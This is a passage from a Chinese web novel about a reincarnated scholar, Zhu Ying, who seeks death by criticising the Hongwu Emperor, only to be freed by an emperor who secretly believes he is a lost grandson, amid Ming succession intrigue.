朱煐看了蒋瓛一眼,又看了眼老朱,叹了口气:“要说当皇帝,陛下是合格的。但要说当一家之主,陛下就不够格了。” 此言一出,蒋瓛的脸色骤变,赶忙看向老朱。 而此时老朱的脸色唰的一下变得煞白。 他瞪大眼睛看向朱煐:“你...你觉着咱的一家之主当的不够格?” 老朱声音隐隐颤抖.... 朱煐自然地扫了老朱一眼。 反正要死,压根不带怕的,也不需要顾虑任何老朱的感受。 “自然不够格。特别是当爷爷。” “敢问陛下,可曾关心过东宫中的真正嫡孙朱允熥?” “学生在坊间听闻,皇孙允熥,性情懦弱。” “学生以为一个人的性格当与其生长环境有很大关系,是以学生敢问陛下,允熥皇孙,何以懦弱?” “吕氏有亲子,皇孙允熥背后有淮西一脉,与其子朱允炆皆为皇孙,同为皇位竞争对手,她如何相待允熥皇孙,陛下可曾想过?” “陛下怕是没有想过吧?陛下满脑子想的都是大明江山,想的都是大明传承,哪里有空去管这些个孙子的小事?” “连自家孙子被外人养废了尚不自知,也是糊涂的可以。” “一家之主?陛下,您不配啊!” 第8章 爱卿,何罪之有啊? 朱煐的一字一句就像是刀子一样一刀刀地扎在了老朱的心口。 一旁的蒋瓛低着头一言不发,他不敢吭声。 老朱嘴唇发青,脸色惨白,瞪大了眼睛看着朱煐,听着朱煐的一字一句,心头大震! “原来...原来是因为这个咱乖孙才不想和咱相认的吗?” “他是在生咱的气啊...” “是了,允熥那孩子可是他的亲弟弟....” 老朱看着朱煐苦笑:“这东宫之事,咱一向都不太过问,毕竟那是太子的东宫,有太子管着....” “太子管着?” “敢问陛下,这吕氏是您扶正的吧?” “你不管,太子也不管,那可不就吕氏管了吗?” “这东宫是姓朱还是姓吕?” “怎么都在东宫长大,这朱允炆便是人人说好,仁孝双全,这允熥皇孙在外名声就那般不堪?” “陛下,你是老糊涂了。” 朱煐撇了撇嘴。 历史上朱允炆可没有伪装的那般仁孝。 老朱死前三番五次交代善待朱家人,叮嘱他就算要削藩也不要急着削藩。结果老朱刚死,朱允炆刚登基就开始迫不及待地削藩试图巩固权力,老朱生前的话一股脑儿的直接全抛脑后去了。 这小子在老朱面前装着乖宝宝,背地里下手黑着呢! 这丫的真是把老朱家的腹黑以及老娘吕氏的小聪明都继承到一起了,只是唯独少了最关键的‘能力’。 吕氏为了自家儿子的皇位也可以说是费劲了心思。 和朱允炆唯一有竞争的就是朱允熥,但她通过长年累月的努力,生生把朱允熥给养废了,如此一来,大明未来的继承人只剩下了吕氏亲子朱允炆一人。 朱标本身自己也不怎么管东宫诸事,他和老朱一样忙,甚至更忙,因为他还要去地方巡察。 真正管着东宫的就是吕氏。 而吕氏的谋划也很深远,把朱允炆唯一有可能的竞争对手朱允熥给养废,如此一来朱标登基之后,选继承人就只剩下了朱允炆合适。 没想到朱标还没等到登基就去世了,这下好了,皇储之位,立刻就落在了朱允炆的头上.... 朱煐说的话刚开始老朱还不以为意,只当是自己的大孙子觉着弟弟受了委屈和自己生气,可随着朱煐一字一句条理清晰的一番话,老朱也不是蠢人,顿时面色严肃了起来。 “是,是咱糊涂了。” “允熥这孩子,咱只当是他本性懦弱,如今细细思量,这其中倒是有着说不清的猫腻。” “???” 老朱开口,朱煐反倒是愣了一下。 老朱认错了? 以老朱的脾气,居然能容许他人对自己的家事指指点点? 要知道,当初第三世穿越到大唐,面对李世民的时候,提及子嗣的培养问题,虽然自己屡次劝谏李二没有杀了自己,可却也没有采纳谏言。 可老朱,居然开始反省了? 这倒是奇了! 不过转念一想,朱煐也就恍然了。 想必是因为自己快死了缘故。 老朱这是当自己是将死之人,人之将死其言也善,不至于骗他。 “一定是这样了。我一个快死的人,老朱不再怀疑我,将死之人话引他深思,倒也合理。” 朱煐心里毋自想着。 “等咱日后好好查查,倘若确有其事,咱饶不了那吕氏!” 老朱说着瞟了瞟朱煐。 听着这话,朱煐心里一突突。 好家伙,我这临死之前的一番话,不会改变大明历史吧? 不过...貌似咱这改变的历史次数已经够多了,倒也不差这一次了。 反正那会儿咱应该是功德圆满,觅得长生了,与我无关。 老朱见朱煐不说话,当即又给蒋瓛使了个眼色。 蒋瓛会意。 他小心翼翼地开口:“朱公子,不知公子这些年过得如何?听闻公子自幼便在城中提人写字赚取家资,养卧病在床的父母,倒是孝顺。想来这些年过得殊为不易吧?” 蒋瓛的话顿时让老朱眼前一亮。 给蒋瓛投去一个赞赏的目光。 蒋瓛这家伙属实是有些东西,这试探的倒是巧妙! 完全可以从咱乖孙的回复中探探他的态度! 当即老朱聚精会神看向朱煐.... 朱煐先是一愣,旋即恍然,大笑:“哈哈哈哈,蒋指挥使,陛下,我道你们今日怎么有兴致来这天牢探望,想必是查不到学生的九族了吧?” “还请陛下见谅,学生九族要么不在,要么不知。”说着朱煐看向老朱:“学生八岁之前是个痴傻孩童,没有记忆。父母俱是流民落在城外的农户,不知家传渊源,自学生有记忆起,学生一路走来靠的都是自学,未曾拜师,没有同窗,没有好友,亦无亲朋。” “真要说九族的话,学生入了殿试,当算天子门生,满朝诸公皆算同僚,要不陛下您给杀杀?” “陛下,莫要再做试探了,学生是真没有九族。” 朱煐觉着自己算是看穿了老朱的心思,这老小子来天牢,合着是因为查了自己的九族查不到? “????” “???” 朱煐一番话,老朱愣住了... 蒋瓛也愣住了.... 老朱和蒋瓛互视一眼,两人默默地走出了牢房,离得朱煐稍远了一些,蒋瓛这才凑近到老朱耳边瞥了眼牢中的朱煐小声道:“陛下,臣看皇孙殿下貌似...真忘了宫中之事,否则何以说出这番话?” 老朱皱眉沉默。 良久后...叹了口气.... “咱明白了。” 老朱心疼地看了眼牢中的朱煐,喃喃道:“这孩子想必是一场大病虽侥幸未死却犯了失魂之症,忘却了自己的身份,所以才记不得八岁之前的事。不过却还留有一些散碎的记忆和印象,恰巧那农户家又是朱姓,读书之后便想起了这‘煐’字。” “恭喜陛下啊!” 蒋瓛激动道:“先前陛下担心皇孙殿下心死,故意不认陛下,如今可见,皇孙殿下他是犯了失魂之症,并非故意为之,此时陛下若是告知其身份,那便可以相认了!” 老朱闻言眼前一亮,可旋即,神色又是一黯,摆了摆手苦笑道:“怕是不成了。” 蒋瓛一愣,一脸愕然地看向老朱。 “这是为何?” 老朱苦笑道:“这些年咱孙在外头吃了这般多的苦头,以他先前言语,对咱很是不满啊。要不然怎会拼着性命不要也要当朝抨击咱?他这是奔着死去的啊!” “这小子对咱意见大得很呐,若是相认,他怕是难以接受。” “还是再等等吧,咱得先扭转扭转咱在咱孙心里头的印象,到时再相认,指定更好。” 蒋瓛恍然,赞道:“还是陛下思虑周全。” 老朱也露出了笑容。 “总归是个好消息,先前是咱误会了。” 相较于之前的想法,现在的局面显然更好些。不是大孙不认自己,而是大孙失忆了! 想到大孙子流落在外这么多年,受了这么多的苦,一个八九岁的孩子就要当家做主,赚钱照顾重病的父母,又要自己努力读书学习....想到这些,老朱不由心头一酸。 “咱大孙,受苦了!” “陛下,您该替皇孙殿下高兴才是。” 蒋瓛在一旁宽慰:“天将降大任于是人也。” “皇孙殿下在这般困境中愣是靠着自学入了殿试,可见殿下禀赋!” “陛下后继有人了啊。” 听了蒋瓛这话,原本一脸心疼的老朱笑了,眼中露出一抹得意:“那是,这可是咱的大孙!咱的种好!” “不过相认的事还得徐徐图之。” “不可操之过急。” “得改改咱在咱孙心里的形象才好....” 老朱喃喃自语。 “陛下...” “嗯?” 老朱疑惑地看向蒋瓛。 见蒋瓛一脸犹豫,老朱皱了皱眉头:“有什么话就给咱直说。” “陛下,臣觉着...是不是先给皇孙殿下挪个地方?这天牢毕竟不是久处之地,您看....” 老朱听了这话顿时一愣,一拍脑门:“哎呀!咱倒是把这事给忘了!” “对对对,先把咱孙给放出去,可惜殿试已经结束,咱都给贡生排了名次,倒是不好再给咱孙定状元了。” “不过赐个大宅子还是必须的,等咱孙出去后你给找一个附近的宅子,要好些的,离咱近些的。” “是陛下。” ..... 朱煐疑惑地看向在牢房外低着头叽里咕噜说着话的老朱和蒋瓛,两人的声音很小,小到在牢房里甚至都听不见。 这君臣俩在嘀咕啥呢? 指定是没好事。 毕竟一个是出了名脾气差的老皇帝,一个是臭名昭著的锦衣卫头头。 两人凑一起,指定是在按算谁呢? “难不成是准备把我给赐死了?” 朱煐暗自想着,心中暗喜。 老朱似乎感受到了朱煐的注视,抬起头,冲朱煐露出了个和善的笑容,然后带着蒋瓛走进了天牢。 “陛下可是要杀学生?” 朱煐隐隐有些期待地看着老朱。 老朱笑了,笑容很灿烂,看向朱煐笑吟吟地说道:“杀你?咱为何杀你?” “今日殿上,咱一时气急,事后反省,惊觉爱卿所言极是。” “标儿已经去世,大明风雨飘摇,皇储为国本,这题答得精妙!” “子曰,吾日三省吾身,咱也经常反省,事后想来,后悔不已。” “爱卿为国谏言,答得精妙,何罪之有啊?” “咱杀你做甚?” 第9章 陛下,我有罪,我真有罪啊! “????” 朱煐瞪大眼睛看着老朱,整个人都懵了.... 他怀疑自己的耳朵是不是出了问题。 “陛....陛下你刚刚说什么?” 朱煐语气都不由颤抖..... 老朱一脸笑意地看着朱煐:“咱说,是咱错了。上午于殿上咱听不进谏言,事后反思,方才发现,咱错的离谱。爱卿无罪,实乃我大明肱股之臣啊!” “殿试已经结束,你先随咱出天牢,洗漱一番,咱不会忘了你今日之功的,日后朝堂上当有你一席之地。” 老朱笑吟吟地看着朱煐,怎么看这个大孙怎么满意。 失而复得不说,年纪轻轻不到双十的年纪,靠着自己自学居然闯入了殿试! 而且今日在殿上的这脾气,啧啧啧....和咱可真像啊,这简直就是一模一样嘛! 不愧是咱的种! 满朝文武不敢作声,唯有咱大孙,为大明慷慨赴死,这是何等操守? 而这会儿,在老朱眼里品行高洁,操守过人的朱煐,人已经麻了.... “?????” 朱煐就这么呆愣愣地看着老朱。 这回他彻彻底底听清楚了老朱说的话。 “这特么的...我都快功德圆满了,你来反省了?” 朱煐傻眼了,不敢置信地看着老朱。 历史上以脾气臭,心狠手辣著称的这老朱,开始自我反省了? 还,每天反省? 说好的诛九族,反省一下之后就无罪释放了? 有这么反省的吗? 朱煐脸色变得极为难看。 他娘的,被史书给误了! 史书误我!史书误我啊! “陛下,要不您再考虑考虑?” “君无戏言啊!您说要诛学生的九族,如今又朝令夕改,这让他人如何看您?” “学生既已在殿上开口,便早已将生死置之度外,请陛下成全学生之慷慨之义!” 朱煐大义凛然地说道。 老朱听后却笑了,摆了摆手:“咱就是朝令夕改,他们能如何?” “他人看咱?咱的名声又不好,外人爱咋看咋看。” “咱知错,就改!” “走吧,随咱出去,这里属实不是人待的地儿。” 老朱说着上前,拍了拍还在懵逼中,求死失败一脸苦逼样的朱煐肩头。 朱煐回过神来,脸色难看到了极致.... “陛下,我有罪,我真有罪啊!” “您若是不杀学生,国法何在?如何堵住满朝大人的悠悠众口?” 老朱看着朱煐,心中感动,扭头冲蒋瓛,含着热泪道:“看到没?看到没?这般肱股之臣,咱居然还因在朝上直言而要杀他,都是咱的过错啊。” 蒋瓛赶忙会意,赶忙配合老朱。 “陛下,臣看到了。朱公子为国谏言,陛下反省之后知错能改,君臣相宜,有古之太宗与魏徵之风。” 老朱连连点头:“不错不错,这满朝文武无一人敢谏言,唯有朱爱卿一人站出来,咱看谁敢说闲话,是觉着咱老了,刀不利了?” 老朱笑呵呵地看向朱煐:“莫要操心,有咱在,没人敢说闲话。果然这朝堂上还得是自家人呐,外人总归是外人,你说的不错,满朝文武都有自己的小心思,尸位素餐,关键时刻都不顶用。” “自家人?”朱煐脸色骤变。 他娘的,不会不光没死成,还要被老朱当成心腹了吧?这可坏了。 不能再表现出太急迫,要不然真做实忠直之臣的名号就坏了.... “咳咳。” 老朱当即反应过来,干咳了两声,冲朱煐道:“那什么...咱的意思是,自己人。” “朱公子,您看您也姓朱,陛下也是姓朱,这说不得八百年前还就是一家,陛下说一家人也没错。”蒋瓛在一旁搭茬。 “对对对,咱就是这个意思。咱都是老朱家的嘛!” “行了,先跟咱出去吧,今天就在宫中找个地方住下歇歇脚,等明日早朝,咱再给安排个差事,你也想想,有什么差事想做的,可以和咱说说。” 老朱一脸慈爱的目光时不时地落在朱煐身上。 这可是咱的大孙,大孙啊.... 老朱本身就是个极其传统的人,他的出身注定了他比正常的皇帝还要更为传统,嫡长孙在老朱心里的意义,非同凡响!更何况还是一个,靠着自学就能以不到双十之龄考入殿试的这般有能耐的嫡长孙! 老朱越看自己这大孙子就越是满意。 脑海里净想着如何让自己在大孙的心里的形象更好些.... 朱煐见老朱如此坚定,不由叹了口气。 看来这回想死是死不成了。老朱这丫的不知道抽了什么风,你一个洪武大帝,不好好的当你的暴君,开始反省了? 你反省个什么蛋啊! 这下好了,老子的功德都被反没了.... 朱煐感受到了人生的苦涩。 人生就是这样,从高峰到低谷,就像是坐过山车一样,嗖的一下,一瞬间就下去了.... 要是一般人,没个一时半会儿指定是缓不过来,不过朱煐不同,历经八世轮回,朱煐的内心早已被历练得无比强大。 虽然遭受了巨大的打击,但他明白,一味的抱怨没有用,遇到问题,解决问题才是实实在在的。 “也不知道是哪里出了问题,这不合理啊...” 朱煐喃喃自语,可木已成舟他也没有办法。 ..... 话分两头。 这边朱煐在一脸疑惑中被老朱释放,另一头,蓝玉火急火燎地入了宫,径直便到了东宫。 他此行的目的很简单——见皇孙朱允熥! 常人想入东宫自不简单,可他是蓝玉,是大明国公,凉国公,如今的大明军神,淮西一脉的领军人物。 原本蓝玉是老朱留给儿子朱标的一把利刃,有蓝玉在,大明朝廷就能打胜仗,大明的军队就是虎狼之师!蓝玉又是朱标的死忠,把蓝玉留给朱标,老朱很放心。 但可惜,现在朱标死了。 刚到东宫,蓝玉迎面就撞见了同样退朝之后入宫的黄子澄。 黄子澄见到蓝玉,不由一愣。 转念一想又恍然,蓝玉这厮也急了! 是啊,事关性命,要是按照此前朝上那狂生所言,倘若陛下要立允炆皇孙为皇储,那这蓝玉最轻也得被夺权,自然着急。 黄子澄心中一凛。 蓝玉出现在这东宫,也就意味着他坐不住,要亲自下场了! 以蓝玉的地位和势力....倘若一心扶允熥殿下尚未,凭淮西一脉的力量,陛下怕是有心立允炆皇孙,怕是也不得不考虑考虑..... 思虑至此,黄子澄的面色严肃、凝重起来.... “见过凉国公。” “今日凉国公好雅兴,怎么到这东宫来了?” 黄子澄作为文官集团的后起之秀,最近几年深受老朱信任,但毕竟只是新秀,面对蓝玉还是感受到了极强的压迫感,地位也远不如蓝玉,他还在官场上摸爬滚打,而蓝玉,几乎已经成为了传奇。黄子澄主动向蓝玉打招呼。 “哼!” 蓝玉只是随意扫了一眼黄子澄,冷哼一声,默然离去,只留下站在原地的黄子澄一人脸色铁青地站着,望向蓝玉的背影,咬牙切齿。 “粗鄙武人,老匹夫!” 黄子澄心中愤懑。 虽说自己的地位比不得蓝玉,可好歹也是三品大员,怎敢这般欺辱于我? 等着吧老匹夫,等允炆殿下上位,看你还敢这般无礼! ..... 蓝玉直接无视了黄子澄,径直入了东宫。 黄子澄? 是个什么东西? 也配放在我蓝玉眼中? 当今天下,除了少数几个人之外,其余人尽皆入不得蓝玉法眼。 蓝玉性子本就骄纵傲横,他少年成名,斩将夺旗无数,打的胜仗数不胜数,他是大明军神,是大明凉国公,随着年岁越大,蓝玉的傲气越重。朝中三品大员压根入不得他的眼,更何况这三品大员还是敌对一方! 是的,敌对一方。 原先蓝玉是不准备插手皇储之争的,毕竟在他看来,以老朱的脾气,皇储的位置,必然是他一言而决,自己插手反而要冒巨大的风险。他了解老朱。 反正不管谁上了位,自己能力在,就会重用自己。 可现在,早朝朱煐一番话,彻底点醒了蓝玉。 若是要立朱允炆,那就得防着自己在陛下百年归天之后拥兵另立新王! 蓝玉自认没有这个想法,可事关皇位,有没有这个想法已然不重要,只要有这个能力,有这个可能性,那陛下就会对自己出手! 为今之计,除非能让陛下立允熥为皇储,这样以自己这允熥的亲舅姥爷的身份,日后必然是仰仗自己,同时一切危机也能迎刃而解.... ...... 东宫,朱允熥住处。 事实上吕氏在外人能一眼看出来的地方从不为难朱允熥,她既要一个好的口碑,又要把朱允熥养废,这才花了她好大的手脚。 所以朱允熥的住处位置并不差,甚至比朱允炆的住处位置还好。 蓝玉寻到朱允熥的时候,朱允熥正顶着个黑眼圈,宛若惊弓之鸟。 看到蓝玉的时候,朱允熥当场愣住.... 在朱允熥的记忆中,蓝玉虽然是他的亲舅姥爷,可常年在外征战,并不经常见面,偶然的几次见面也都是入宫来见父亲朱标才连带着见上..... 第10章 舅姥爷我害怕! 朱允熥记得很清楚,因为从小他就在这宫中,无人过问。 父亲朱标是很忙的,没有功夫管着自己,吕氏也不管,朱允炆要是不上学是要被打板子的,而他不会,但宫女太监们来找自己的麻烦,吕后也是不会管的,除非自己去告状,才会装模作样的呵斥两句,然后迎接自己的就是太监宫女的更过分的欺辱。 小时候以为是这些太监宫女坏,可长大之后朱允熥明白,倘若没有人指使,谁敢在东宫欺辱自己? 他给父亲和爷爷告过状,可刚告状,第二天那欺辱自己的宫女太监就离奇出事,有落井身亡的,有服药自杀的。 朱允熥怕了,他很害怕,他清晰记得那死去的太监惨白惊恐的尸体的表情。 他连续做了好多天的噩梦。 蓝玉是朱允熥记忆中为数不多关心过自己的人。每次入宫要是见着了自己,都会拿出一些随身带的玩意儿送给自己当礼物。 小时候送了自己一块玉佩,说是能蒙古人手里抢来的,开过光,能保平安。 还经常给自己银子。 在东宫,开销用度都是吕氏管着的,为了响应皇爷爷的号召,东宫常年吃不上荤腥,表面上吕氏说的是宫中少花一分朝廷就能多一分银钱花在百姓身上,可实际上好几次闻到朱允炆的房间里有肉鸡的香味。 他指定是开小灶的。 日常开销尚且如此,更别说零花钱了,更是没有的。 只有舅姥爷蓝玉会给自己银子,让自己去买东西。 朱允熥自小就没了亲生母亲,而因为母亲是因为生自己的时候伤了元气去世的,父亲对于自己一直不假以辞色。 在朱允熥的印象里,小时候还好,大哥就像是一棵大树,一直挡在自己面前。 大哥深受父亲和皇爷爷的喜爱,那时候吕氏见自己都是客客气气的,朱允炆更是当着自己的跟屁虫,宫女太监也没有一个敢欺负自己。 可后来大哥死了。 父亲又不喜自己,就没了靠山,经常被人欺负。 可即便如此,父亲毕竟是父亲,有父亲在,在这危险的宫里也算有个靠山。 谁能想到,父亲也死了! 听到朱标去世的消息之后,朱允熥瞬间就感受到了前所未有的恐惧。 这些日子以来,他只要一闭上眼睛就做噩梦,就会想起那一个个自杀的太监宫女,那一张张惊恐,惨白,嘴唇青紫,面无血色的死人脸..... 如今看到蓝玉,朱允熥好像忽然找到靠山,再也按耐不住,心态彻底崩溃了..... “舅姥爷!” “舅姥爷救我!” “舅姥爷,你带我走吧,我不想和大哥争皇储,我不想在宫里了。” 朱允熥两腿一软跪在蓝玉面前抽泣着,委屈的眼泪止不住地流。 他怕自己也成了莫名其妙死去的尸体。 他只想好好地活着。 看着已经被吓破了胆的朱允熥,蓝玉张了张嘴,原本他入宫是想和朱允熥商议一番,争一争这皇储之位的,可现在,朱允熥此刻的样子,让蓝玉原本要说出口的话又给憋了回去。 他不知怎么开口了。 朱允熥的懦弱,比传言更甚。 蓝玉拍了拍朱允熥的脑袋,如今的朱允熥才十四岁,还是个孩子。 朱允熥抱着蓝玉,像是找到了靠山,原本惶恐的内心稍稍安定,心神一放松,多日以来的疲惫感瞬间涌上来,片刻的功夫,抽泣着响起了鼾声.... ..... 而与此同时。 同是东宫。 东北角的另一处殿中。 “先生,你可算来了!” 一脸急切的朱允炆看到黄子澄到来,激动地迎了上去。 黄子澄曾是朱允炆的老师,对朱允炆尤为欣赏,而朱允炆和吕氏对黄子澄也颇为信任,黄子澄可谓是母子二人的幕僚,为吕氏和朱允炆出谋划策。 “先生,我听闻今日朝会有个狂生大放厥词,说我是庶出,还说哪怕是我成了储君,凉国公他也会....” “殿下慎言!” 黄子澄赶忙打断慌不泽言的朱允炆。 相较于慌乱的朱允炆,一旁的吕氏倒是淡定许多。 她本就出身书香世家,虽不如常家那般赫赫有名,可也非比常人。 吕氏一脸诚恳地看向黄子澄:“黄先生,你是允炆的老师,如今局面,不知我们母子二人该怎么做?请先生教一教允炆,日后若是大事能成,必不会忘先生今日于我们孤儿寡母的恩情。” “太子妃言重了。皇孙殿下仁德兼备,实乃皇储的不二之选。至于殿上之事,倒是不必太过担心,此事不坏。” “怎么说?” 吕氏和朱允炆相视愕然,疑惑地看向黄子澄。 黄子澄微微一笑:“倘若没有今日之事,哪怕日后殿下成了皇储,等日后这凉国公扶持二殿下的话,或许还真无可奈何。可如今,这狂生当朝点破此事,陛下便知晓了。倘若日后殿下成了皇储,那也就意味着陛下一定会提前处理凉国公,不留隐患。” “至于嫡庶之说,本就是陛下一言而决。” “太子妃如今是实打实的正妃娘娘无疑,无需在意。” 说着黄子澄神色一肃,认真地看向朱允炆:“眼下殿下要做的只有一点。” “还请先生教我!” 朱允炆恭敬行礼。 “殿下务必要在陛下面前好好表现,如今的大明依旧是陛下的大明,皇储之争如何定论,依旧是陛下一言而决。只要能让陛下开口,大事可成!” 黄子澄一番话,顿时让朱允炆母子眼前一亮。 “允炆,给先生磕头!” 吕氏踹了一脚朱允炆。朱允炆当即会意,赶忙跪下,还不等黄子澄反应过来就‘邦邦邦’地磕了三个响头。 “这.....” 黄子澄面色骤变。 吕氏一摆手打断了黄子澄:“先生莫要多言,先生受得起,我们孤儿寡母在朝中无依无靠,全赖先生以及诸位大人从中斡旋,先生今日寥寥数语如拨云见日,先生是允炆的老师,无论从哪里论,都受得这礼。” 黄子澄整个人颤抖。 士为知己者死,皇孙身份尊贵却跪拜自己区区一个三品官员。 尚未登基便已如此,倘若日后成了皇储又登基坐上那位置,我岂非青史留名? 三朝元老,青史留名,开创盛世,名传千古....一个个的词汇在黄子澄的脑海里不断地涌出.... “太子妃放心,下臣为这大明江山社稷,为天下百姓,定不负太子妃、皇孙殿下所托!” “有先生这话,本宫就放心了。” 吕氏也露出了笑容... ...... 另一头。 朱煐已经被蒋瓛安排到了宫内的单独的一处殿中,位置离御书房很近。 朱煐一路上都是皱着眉头,都是懵的。 他在反思。 “按照历史上对老朱的记载,以我先前的行为,一定是触碰到了老朱的红线才对,朝堂上的反应显然也是如此。可怎么就没死成呢?” 思考了一路。 朱煐无奈苦笑。 人心难测。 哪怕是活了这么多世,也依旧难以看透人心。 “看来是历史记载的偏差了。史料中对老朱的记载过于片面了。” “看来老朱的肚量比想象中的更大许多....” “罢了,徐徐图之吧...” 朱煐很快就振作了精神。 就算史料记载过于片面,老朱有些肚量,可他再从谏如流,还能大得过李二吗? 以老朱这性子,机会多得是。 左右如今自己已经入了朝堂,和老朱有的是接触的机会。 只要有接触,就不怕找不到机会! 朱煐对自己始终保持着信心。 “朱大人,今晚您就在这里过夜吧。饿了想吃什么就让门外的人传膳,我让人在外面候着了。” 蒋瓛对朱煐十分客气。 毕竟他是知晓眼前这位爷的身份的。 蒋瓛这差事也不是寻常人能干的。 锦衣卫都指挥使,锦衣卫的头头,作为老朱的心腹,要给老朱办一切老朱不方便办的事儿。 就比如眼下,安顿朱煐,却又不能让朱煐看出来异常。 好在蒋瓛深谙此道。 “多谢蒋大人了。” 朱煐看着眼前的蒋瓛,顿感史料误人。 这锦衣卫都指挥使蒋瓛在史料记载中名声不咋地,可这相处下来,还不错的嘛! 当然,也可能这货是装的。 不过朱煐无所谓,毕竟别人怕死,自己可不怕。 “很快朱公子也要入朝了,你我同僚,何必客气。” 蒋瓛满面笑容地说道。 “对了,陛下说了,公子要是闲着无聊的话也可以让人带着在宫里随处逛逛,这些日子朝中堆积了不少的政事,等陛下处理一阵便来探望。” 说完,蒋瓛顿了顿,又笑着补了一句:“陛下一向都是这般以礼待人。公子不必多虑。如今大明正是用人之际,正如公子所说,朝中诸公明哲保身,庸庸碌碌,正缺少公子这股子敢说话的清流。” “哦?我还能在宫中随便走动?哪里都能走?” 朱煐有些惊讶。 这老朱,葫芦里卖的什么药? 让自己一个外臣到宫里住一天也就罢了,还让自己随意走动? 这待遇有点高啊.... 这非亲非故的,忽然这般? 难不成是真因为早间朝会自己那一番言论得到了老朱的欣赏不成? 毕竟两人之间此前没有任何的交集,朱煐实在是想不到老朱这打的是什么主意.... 蒋瓛笑道:“是的公子,这宫中哪里都能走,想去哪里便去哪里。就当是自家就行了。” 顿了顿,蒋瓛又补了一句:“其实陛下这人一直以来待人都挺和蔼的。民间盛传的那些个说法,都是谣传而已。陛下脾气好,待人温和,只是有些事情陛下不得不做,这才留下了骂名。” 朱煐狐疑地看了蒋瓛一眼,心里排腹。 要说这史料记载有点片面,或许没有完全把老朱的性子给表述清楚明白那倒是也可能。 可要说老朱是个和蔼可亲,脾气好的人? 这他娘的,野史也不敢这样记载啊! “公子先休息,有事随时让人喊我就好了,我就在御书房候着。”蒋瓛笑吟吟地道了别。 ...... 蒋瓛走后。 朱煐先是让候在门外的锦衣卫试着给御膳房传了膳,叫了只鸡。 本来只是试试,没想到没过多大会儿,御膳房还真送来了一只药膳炖鸡! 这让朱煐大为惊讶。 心里头更疑惑了。 轮回九世,从来没有遇到过这么古怪的情况过。 这要是说,这朝代是大唐,是贞观,自己指着李二的鼻子一顿痛骂,那李二礼贤下士,这此后的事情发生倒也面前能算是顺理成章有些说法。可眼下,自己穿越的分明是大明啊! 而且穿越的还是洪武二十五年,皇帝是暮年老朱! 精力了丧妻,丧子的老朱,几乎就已经处于半疯状态了。 这眼下这情况,是怎么回事? 朱煐吃了炖鸡,也没想明白。 他不是个纠结的人,想不明白就不想了。 一次的失败并不能说明什么。或许只是运气不好,正好赶上老朱心情不错? 大不了再来一次就是了。 在洪武朝当官,想活着不容易,这想死,还不简单? 第11章 咱给你好脸给多了? 吃饱喝足朱煐出门,打算在这宫里逛上两圈。 左右很快就要离开大明的,趁着还没走,先多看两眼。 门外,守着的是蒋瓛安排的锦衣卫的心腹,一个叫侯平的汉子,身子挺壮硕,就是有点矮,约莫一米六五的样子,比朱煐矮了大半个头。 “朱公子。” 侯平见了朱煐很恭敬。 蒋瓛走前特意吩咐过侯平,让他不要轻怠了朱煐,侯平作为蒋瓛亲信,不敢不听。 侯平用余光上下打量着朱煐,心中微微有些惊诧。 眼前这个其貌不扬的小子,居然让蒋指挥使特意吩咐?还能在宫中住上一晚,这是受了陛下的恩赐啊。 侯平不清楚朱煐的来历,但他知道,这样的大人物不是他能得罪的。 朱煐和侯平在宫中随意逛了逛。 回房间的时候太阳已经下山。 大明的夜很黑,哪怕是皇宫。 油灯烛火是要钱的,老朱节俭,宫里的开销能省则省,所以皇宫里也有些昏暗。 ..... 转眼翌日。 老朱一大早就起床,敲响了朱煐房间的房门,把还在睡梦中的朱煐给喊醒。 两人一同喝了点稀粥,朱煐发现老朱这家伙时不时地就看着自己傻笑。 估摸着是儿子去世,脑子有点不正常了。 史书上记载,洪武帝晚年行径确实是愈发癫狂。 要是常人,这般状态的老朱自然是避之不及。 可朱煐却觉着这样的老朱才是好的。 毕竟他来这大明,别无所求,只求能早些慷慨就义。 朝会显然是个好机会。 按照朱煐丰富的经验,无论是在哪个朝代,只要在朝会上能够有充足赴死的理由,哪怕是皇帝不想你死,那形势到了你也不得不死。 ...... 奉天殿。 朱煐和老朱前后脚进了大殿。 奉天殿上,朝臣几乎都已经到位。 看到朱煐和老朱,群臣愕然。 刘三吾、黄子澄、齐泰等一众文臣一脸懵逼地望着跟在老朱身后进奉天殿的朱煐,眼中满是震惊,心中全是愕然。 “这小子....不是被诛九族了吗?此刻不在天牢待着,怎么和陛下一同来了?” 黄子澄的大脑飞速转动,可却也一时间想不明白这其中的道理。 不仅仅是文官集团愣住了。 淮西一脉的勋贵们也是傻眼了.... 勋贵第一列。 开国公常升看到朱煐出现在这奉天殿顿时愣住。 常升是常遇春次子,老姐常氏嫁给太子生朱允熥后去世,大哥常茂又被贬岭南削去了爵位,如今偌大的常家就由常升顶着,也承袭了开国公的爵位。 虽然常家出了多番变故,但在淮西一脉中的地位依旧不低。 毕竟蓝玉还在呢。 蓝玉是常遇春的妻弟,按辈分,蓝玉就是常升的舅舅。 有一个凉国公,大明军方第一人的舅舅,常升在淮西一脉中依然话语权不弱的。 不过常升一般不吭声,他只默默地看。 历经了大哥常茂的事,常升更谨慎了,生怕自己再惹恼了陛下,倘若他再出了事,那常家可真就要完了。 昨日常升也在,目睹了朝堂上朱煐那叫嚣着诛自己十族的癫狂一幕。 当今陛下可不是贞观的李二,果然,如常升所料,朱煐被打入天牢,还要被诛九族。 常升擦了擦眼睛,不可置信地看着完好无损已经自觉地寻了个角落站定的朱煐,满脸愕然。 “伯仁,这小子是谁?” “关注度挺高啊,以前朝会可没见过,是个生面孔。” 站在常升旁边,勋贵之首位置的蓝玉皱了皱眉头。 许久不上朝的蓝玉今天也上朝了。 昨日朱煐的一番话把蓝玉给吓得不轻。 有另立新君的能力,这意味着什么,蓝玉心中十分清楚。 倘若这朱允炆当真登基,那依老朱的性子,肯定就要提前下手收拾自己了。 所以蓝玉昨日入了东宫,又是安慰,又是劝说,愣是把他一个不善言辞的武将给逼成了巧言善辩的诸葛,连哄带骗地让十四岁的朱允熥鼓起了些许的勇气,同意今日上朝和朱允炆对上一对。 蓝玉也亲自来压阵。 让蓝玉没想到的是,老朱今日入朝居然还带了个年轻人,一个自己都没有见过的生面孔。 可这生面孔貌似常升和其他不少人都认识? 从周遭官员的反应中蓝玉看出了一些端倪。 常升看了蓝玉一眼,不由苦笑,小声道:“舅舅,此人就是朱煐,就是昨日殿上的那狂生。” “什么?” “????” 蓝玉闻言大吃一惊,目光不由得也扫了大殿角落的朱煐一眼。 “不是说他被陛下打入天牢,等着诛九族了吗?” “看这样子不像啊。” “舅舅,你问我,我问谁去?”常升无奈道:“这陛下的心思,谁能猜得准?” 